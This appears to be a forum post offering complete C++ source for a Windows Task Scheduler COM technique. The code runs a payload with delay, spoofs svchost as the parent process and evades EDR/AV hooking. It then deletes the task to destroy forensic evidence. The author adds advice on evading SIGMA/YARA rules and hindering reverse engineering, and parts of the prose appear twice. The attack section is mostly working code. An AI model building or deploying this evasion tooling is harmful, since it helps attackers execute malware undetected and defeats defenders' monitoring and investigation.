I have written code which uses the Windows Component Object Model (COM) to:
1) Delay binary execution
2) Pseudo-parent process manipulation
3) Make reverse engineering more difficult - COM sucks!
tl;dr - Use the Windows COM API to schedule a task to execute in 60 seconds and then delete the scheduled task. Although this is not a novel idea - usage of COM APIs is a problem. It is difficult to detect in EDR/AV environments and other highly restrictive environments, the COM interfaces do not execute within the virtual memory address space of our process and thus cannot be hooked effectively. The reverse engineering of the binary, using static analysis tools like IDA, can also prove to be problematic. Although, in fairness, IDA-plugins exist currently which assist in COM-based analysis. As a final note, when the binary executes the parent process is not OUR process, because it derives from the task scheduler its parent process is SVCHOST.EXE.
Understanding the code:
Because of how repetitive COM development can look the applications entry point and trivial tasks have been split into several different subroutines.
1. Initializing COM and setting its security attributes corresponding to our binary.
2. Initializing the primary COM components required (ITaskFolder & ITaskDefiniton)
3. Passing our ITaskDefinition object into several different subroutines to set required fields for our scheduled task
4. Setting the event to trigger with the IRegisterTask interface
5. Suspending our process and removing scheduled task entries to destroy forensic evidence
Notes:
This is a proof-of-concept and has some problems. The random string generation code has the alphabet present if the binaries strings are dumped. To make analysis more difficult the alphabet listed should be dynamically assembled on the stack. Other hard-coded elements will need to be stripped to evade SIGMA/YARA rules, such as the hard-coded EndBoundary field in CoSetEventTriggerInformation.
Parent Process
Binary IAT not accurately showing COM APIs
Compiled binary under IDA:
*NOTE, IN THIS THE PDB IS PRESENT MAKING REVERSE ENGINEERING EASIER, STRIP THE PDB!
1) Delay binary execution
2) Pseudo-parent process manipulation
3) Make reverse engineering more difficult - COM sucks!
tl;dr - Use the Windows COM API to schedule a task to execute in 60 seconds and then delete the scheduled task. Although this is not a novel idea - usage of COM APIs is a problem. It is difficult to detect in EDR/AV environments and other highly restrictive environments, the COM interfaces do not execute within the virtual memory address space of our process and thus cannot be hooked effectively. The reverse engineering of the binary, using static analysis tools like IDA, can also prove to be problematic. Although, in fairness, IDA-plugins exist currently which assist in COM-based analysis. As a final note, when the binary executes the parent process is not OUR process, because it derives from the task scheduler its parent process is SVCHOST.EXE.
Understanding the code:
Because of how repetitive COM development can look the applications entry point and trivial tasks have been split into several different subroutines.
1. Initializing COM and setting its security attributes corresponding to our binary.
2. Initializing the primary COM components required (ITaskFolder & ITaskDefiniton)
3. Passing our ITaskDefinition object into several different subroutines to set required fields for our scheduled task
4. Setting the event to trigger with the IRegisterTask interface
5. Suspending our process and removing scheduled task entries to destroy forensic evidence
Notes:
This is a proof-of-concept and has some problems. The random string generation code has the alphabet present if the binaries strings are dumped. To make analysis more difficult the alphabet listed should be dynamically assembled on the stack. Other hard-coded elements will need to be stripped to evade SIGMA/YARA rules, such as the hard-coded EndBoundary field in CoSetEventTriggerInformation.
C++:
#include <Windows.h>
#include <comdef.h>
#include <taskschd.h>
#include <comutil.h>
#pragma comment(lib, "taskschd.lib")
#define VARIANT_NULL _variant_t()
#define VARIANT_DATA(x) _variant_t(x)
typedef struct __ERROR_HANDLER
{
HRESULT Result;
DWORD dwError;
BOOL bFlag;
}ERROR_HANDLER, *PERROR_HANDLER;
BOOL RtlInitErrorHandler(PERROR_HANDLER Error)
{
Error->bFlag = FALSE;
Error->dwError = ERROR_SUCCESS;
Error->Result = ERROR_SUCCESS;
return TRUE;
}
SIZE_T StringLengthW(LPCWSTR String)
{
LPCWSTR String2;
for (String2 = String; *String2; ++String2);
return (String2 - String);
}
ULONG Next = 2;
INT PseudoRandomIntegerSubroutine(PULONG Context)
{
return ((*Context = *Context * 1103515245 + 12345) % ((ULONG)RAND_MAX + 1));
}
INT PseudoRandomInteger(VOID)
{
return (PseudoRandomIntegerSubroutine(&Next));
}
PWCHAR GeneratePseudoRandomStringW(SIZE_T dwLength)
{
WCHAR DataSet[] = L"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
PWCHAR String = NULL;
String = (PWCHAR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (sizeof(WCHAR) * (dwLength + 1)));
if (String == NULL)
return NULL;
for (INT dwN = 0; dwN < dwLength; dwN++)
{
INT Key = PseudoRandomInteger() % (INT)(StringLengthW(DataSet) - 1);
String[dwN] = DataSet[Key];
}
#pragma warning (push)
#pragma warning (disable: 6386)
String[dwLength] = '\0';
#pragma warning (pop)
return String;
}
DWORD Win32FromHResult(HRESULT Result)
{
if ((Result & 0xFFFF0000) == MAKE_HRESULT(SEVERITY_ERROR, FACILITY_WIN32, 0))
return HRESULT_CODE(Result);
if (Result == S_OK)
return ERROR_SUCCESS;
return ERROR_CAN_NOT_COMPLETE;
}
DWORD CoInitializeInternalAttributes(VOID)
{
HRESULT Result = ERROR_SUCCESS;
Result = CoInitializeEx(NULL, COINITBASE_MULTITHREADED);
if (!SUCCEEDED(Result))
return Win32FromHResult(Result);
Result = CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, 0, NULL);
if (!SUCCEEDED(Result))
return Win32FromHResult(Result);
return ERROR_SUCCESS;
}
DWORD CoInitRequiredInternalInterfaces(ITaskFolder **Folder, ITaskDefinition **Definition)
{
ERROR_HANDLER Error; RtlInitErrorHandler(&Error);
ITaskService* TaskService = NULL;
Error.Result = CoCreateInstance(CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER, IID_ITaskService, (PVOID*)&TaskService);
if (!SUCCEEDED(Error.Result))
return Win32FromHResult(Error.Result);
Error.Result = TaskService->Connect(VARIANT_NULL, VARIANT_NULL, VARIANT_NULL, VARIANT_NULL);
if (!SUCCEEDED(Error.Result))
goto EXIT_ROUTINE;
Error.Result = TaskService->GetFolder((BSTR)L"\\", Folder);
if (!SUCCEEDED(Error.Result))
goto EXIT_ROUTINE;
Error.Result = TaskService->NewTask(0, Definition);
if (!SUCCEEDED(Error.Result))
goto EXIT_ROUTINE;
Error.bFlag = TRUE;
EXIT_ROUTINE:
if (!Error.bFlag)
Error.dwError = (Error.Result != ERROR_SUCCESS ? Win32FromHResult(Error.Result) : GetLastError());
if(TaskService)
TaskService->Release();
return Error.dwError;
}
DWORD CoSetRegistrationInformation(ITaskDefinition* Task)
{
ERROR_HANDLER Error; RtlInitErrorHandler(&Error);
IRegistrationInfo* RegistrationInfo = NULL;
IPrincipal* Principal = NULL;
Error.Result = Task->get_RegistrationInfo(&RegistrationInfo);
if (!SUCCEEDED(Error.Result))
goto EXIT_ROUTINE;
Error.Result = RegistrationInfo->put_Author((BSTR)L"");
if (!SUCCEEDED(Error.Result))
goto EXIT_ROUTINE;
Error.Result = Task->get_Principal(&Principal);
if (!SUCCEEDED(Error.Result))
goto EXIT_ROUTINE;
Error.Result = Principal->put_LogonType(TASK_LOGON_INTERACTIVE_TOKEN);
if (!SUCCEEDED(Error.Result))
goto EXIT_ROUTINE;
Error.bFlag = TRUE;
EXIT_ROUTINE:
if (!Error.bFlag)
Error.dwError = (Error.Result != ERROR_SUCCESS ? Win32FromHResult(Error.Result) : GetLastError());
if (RegistrationInfo)
RegistrationInfo->Release();
if (Principal)
Principal->Release();
return Error.dwError;
}
DWORD CoSetEventTriggerInformation(ITaskDefinition* Task)
{
ERROR_HANDLER Error; RtlInitErrorHandler(&Error);
ITaskSettings* Settings = NULL;
IIdleSettings* IdleSettings = NULL;
ITriggerCollection* TriggerCollection = NULL;
ITrigger* Trigger = NULL;
ITimeTrigger* TimeTrigger = NULL;
PWCHAR TriggerString = NULL;
SYSTEMTIME Time = { 0 }; GetLocalTime(&Time);
WCHAR StartBoundary[MAX_PATH] = { 0 };
Error.Result = Task->get_Settings(&Settings);
if (!SUCCEEDED(Error.Result))
goto EXIT_ROUTINE;
Error.Result = Settings->put_StartWhenAvailable(VARIANT_TRUE);
if (!SUCCEEDED(Error.Result))
goto EXIT_ROUTINE;
Error.Result = Settings->get_IdleSettings(&IdleSettings);
if (!SUCCEEDED(Error.Result))
goto EXIT_ROUTINE;
Error.Result = IdleSettings->put_WaitTimeout((BSTR)L"PT5M");
if (!SUCCEEDED(Error.Result))
goto EXIT_ROUTINE;
Error.Result = Task->get_Triggers(&TriggerCollection);
if (!SUCCEEDED(Error.Result))
goto EXIT_ROUTINE;
Error.Result = TriggerCollection->Create(TASK_TRIGGER_TIME, &Trigger);
if (!SUCCEEDED(Error.Result))
goto EXIT_ROUTINE;
Error.Result = Trigger->QueryInterface(IID_ITimeTrigger, (PVOID*)&TimeTrigger);
if (!SUCCEEDED(Error.Result))
goto EXIT_ROUTINE;
TriggerString = GeneratePseudoRandomStringW(10);
if (TriggerString == NULL)
goto EXIT_ROUTINE; Error.Result = TimeTrigger->put_Id((BSTR)TriggerString);
if (!SUCCEEDED(Error.Result))
goto EXIT_ROUTINE;
if (TriggerString)
HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, TriggerString);
swprintf_s(StartBoundary, L"%d-%d-%dT%d:%d:00", Time.wYear, Time.wMonth, Time.wDay, Time.wHour, (Time.wMinute + 1));
Error.Result = TimeTrigger->put_EndBoundary((BSTR)L"2099-01-01T1:00:00");
if (!SUCCEEDED(Error.Result))
goto EXIT_ROUTINE;
Error.Result = TimeTrigger->put_StartBoundary((BSTR)StartBoundary);
if (!SUCCEEDED(Error.Result))
goto EXIT_ROUTINE;
Error.bFlag = TRUE;
EXIT_ROUTINE:
if (!Error.bFlag)
Error.dwError = (Error.Result != ERROR_SUCCESS ? Win32FromHResult(Error.Result) : GetLastError());
if (Settings)
Settings->Release();
if (IdleSettings)
IdleSettings->Release();
if (TriggerCollection)
TriggerCollection->Release();
if (TimeTrigger)
TimeTrigger->Release();
return Error.dwError;
}
DWORD CoSetActionInformation(ITaskDefinition* Task)
{
ERROR_HANDLER Error; RtlInitErrorHandler(&Error);
IActionCollection* ActionCollection = NULL;
IAction* Action = NULL;
IExecAction* Execute = NULL;
WCHAR wPayloadPath[MAX_PATH] = L"C:\\WINDOWS\\SYSTEM32\\CALC.EXE";
Error.Result = Task->get_Actions(&ActionCollection);
if (!SUCCEEDED(Error.Result))
goto EXIT_ROUTINE;
Error.Result = ActionCollection->Create(TASK_ACTION_EXEC, &Action);
if (!SUCCEEDED(Error.Result))
goto EXIT_ROUTINE;
Error.Result = Action->QueryInterface(IID_IExecAction, (PVOID*)&Execute);
if (!SUCCEEDED(Error.Result))
goto EXIT_ROUTINE;
Error.Result = Execute->put_Path(wPayloadPath);
if (!SUCCEEDED(Error.Result))
goto EXIT_ROUTINE;
Error.bFlag = TRUE;
EXIT_ROUTINE:
if (!Error.bFlag)
Error.dwError = (Error.Result != ERROR_SUCCESS ? Win32FromHResult(Error.Result) : GetLastError());
if (ActionCollection)
ActionCollection->Release();
if (Action)
Action->Release();
if (Execute)
Execute->Release();
return Error.dwError;
}
INT main(VOID)
{
ERROR_HANDLER Error; RtlInitErrorHandler(&Error);
ITaskFolder* RootFolder = NULL;
ITaskDefinition* Task = NULL;
IRegisteredTask* RegisteredTask = NULL;
PWCHAR TaskName = NULL;
if (CoInitializeInternalAttributes() != ERROR_SUCCESS)
goto EXIT_ROUTINE;
if (CoInitRequiredInternalInterfaces(&RootFolder, &Task) != ERROR_SUCCESS)
goto EXIT_ROUTINE;
if (CoSetRegistrationInformation(Task) != ERROR_SUCCESS)
goto EXIT_ROUTINE;
if (CoSetEventTriggerInformation(Task) != ERROR_SUCCESS)
goto EXIT_ROUTINE;
if (CoSetActionInformation(Task) != ERROR_SUCCESS)
goto EXIT_ROUTINE;
TaskName = GeneratePseudoRandomStringW(5);
if (TaskName == NULL)
goto EXIT_ROUTINE;
Error.Result = RootFolder->RegisterTaskDefinition((BSTR)TaskName, Task, TASK_CREATE_OR_UPDATE, VARIANT_NULL, VARIANT_NULL, TASK_LOGON_INTERACTIVE_TOKEN, VARIANT_DATA(L""), &RegisteredTask);
if (!SUCCEEDED(Error.Result))
{
if (TaskName)
HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, TaskName);
goto EXIT_ROUTINE;
}
Sleep(120000);
RootFolder->DeleteTask((BSTR)TaskName, 0);
if (TaskName)
HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, TaskName);
Error.bFlag = TRUE;
EXIT_ROUTINE:
if (!Error.bFlag)
Error.dwError = (Error.Result != ERROR_SUCCESS ? Win32FromHResult(Error.Result) : GetLastError());
if (RootFolder)
RootFolder->Release();
if (Task)
Task->Release();
if(RegisteredTask)
RegisteredTask->Release();
CoUninitialize();
return Error.dwError;
}
Parent Process
Binary IAT not accurately showing COM APIs
Compiled binary under IDA:
*NOTE, IN THIS THE PDB IS PRESENT MAKING REVERSE ENGINEERING EASIER, STRIP THE PDB!